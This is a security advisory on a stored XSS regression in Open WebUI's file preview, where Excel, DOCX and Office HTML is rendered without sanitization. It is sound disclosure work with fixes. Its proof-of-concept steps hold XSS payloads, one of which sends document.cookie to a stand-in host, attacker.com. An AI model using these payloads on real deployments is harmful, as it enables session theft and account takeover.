CVE-2026-45318

## Related advisory This advisory tracks a regression of the original Excel-preview XSS that was publicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) (patched in v0.8.0). The same root cause — `XLSX.utils.sheet_to_html()` output rendered via `{@html excelHtml}` without DOMPurify — was reintroduced sometime after v0.8.0 and is exploitable again as of v0.8.12 and through the version range listed above. This advisory additionally covers the related `fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` (lines 458 and 1285) which was not part of the jwf8 advisory's scope. ## Summary Open WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document. This is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces. ## Root Cause **The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`. **But 3 file-preview paths skip it**: ### Occurrence 1: FilePreview.svelte — Office HTML **File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324 ```svelte {:else if fileOfficeHtml !== null} <div class="office-preview overflow-auto flex-1 min-h-0"> {@html fileOfficeHtml} <!-- NO DOMPurify! --> </div> ``` `fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization. ### Occurrence 2: FileItemModal.svelte — Excel HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 560 ```svelte {@html excelHtml} <!-- NO DOMPurify! --> ``` `excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied. ### Occurrence 3: FileItemModal.svelte — DOCX HTML **File**: `src/lib/components/common/FileItemModal.svelte` line 590 ```svelte {@html docxHtml} <!-- NO DOMPurify! --> ``` `docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied. ## Contrast with Sanitized Paths For comparison, the same codebase correctly sanitizes in other locations: ```svelte <!-- MarkdownInlineTokens.svelte:130 — SAFE --> {@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })} <!-- General.svelte:276 — SAFE --> {@html DOMPurify.sanitize($config?.license_metadata?.html)} <!-- Banner.svelte:103 — SAFE --> {@html DOMPurify.sanitize(marked.parse(...))} ``` ## Defense Propagation Gap | Metric | Value | |--------|-------| | Total `{@html}` usages | 23 | | With DOMPurify | 9 (39%) | | **Without DOMPurify** | **14 (61%)** | | Confirmed exploitable (file preview) | **3** | The remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application. ## Tested Version - Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`) ## Steps to Reproduce ### PoC 1: Malicious Excel File 1. Create a `.xlsx` file with a cell containing: ``` <img src=x onerror="alert(document.cookie)"> ``` (Using a library like openpyxl to inject raw HTML into cell values) 2. Upload the file to Open WebUI via the chat file upload 3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires** ### PoC 2: Malicious DOCX File 1. Create a `.docx` file with embedded HTML: ```xml <w:r><w:t><![CDATA[<svg onload="fetch('https://attacker.com/steal?c='+document.cookie)">]]></w:t></w:r> ``` 2. Upload to Open WebUI 3. File preview renders `docxHtml` → **XSS fires** ### PoC 3: Verify Rendering Path ```javascript // In browser devtools on Open WebUI, after uploading a file: // The file preview component renders: // FileItemModal → {@html excelHtml} // no DOMPurify // FileItemModal → {@html docxHtml} // no DOMPurify // FilePreview → {@html fileOfficeHtml} // no DOMPurify // Compare with safe path: // NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized! ``` ## Impact - **Stored XSS** — malicious file is stored server-side, XSS fires for every user who previews it - **Session hijacking** via `document.cookie` theft - **Account takeover** — attacker can perform actions as the victim user - **Data exfiltration** — read chat history, API keys, uploaded documents - **Multi-user environments** — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers) - **Defense propagation failure** — DOMPurify is available and used elsewhere, but not applied to file preview paths ## Suggested Remediation Apply DOMPurify to all three file preview paths: ```svelte <!-- FilePreview.svelte:324 — FIX --> {@html DOMPurify.sanitize(fileOfficeHtml)} <!-- FileItemModal.svelte:560 — FIX --> {@html DOMPurify.sanitize(excelHtml)} <!-- FileItemModal.svelte:590 — FIX --> {@html DOMPurify.sanitize(docxHtml)} ``` Alternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag. ## References - CWE-79: Improper Neutralization of Input During Web Page Generation (XSS) - OWASP XSS Prevention Cheat Sheet - GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)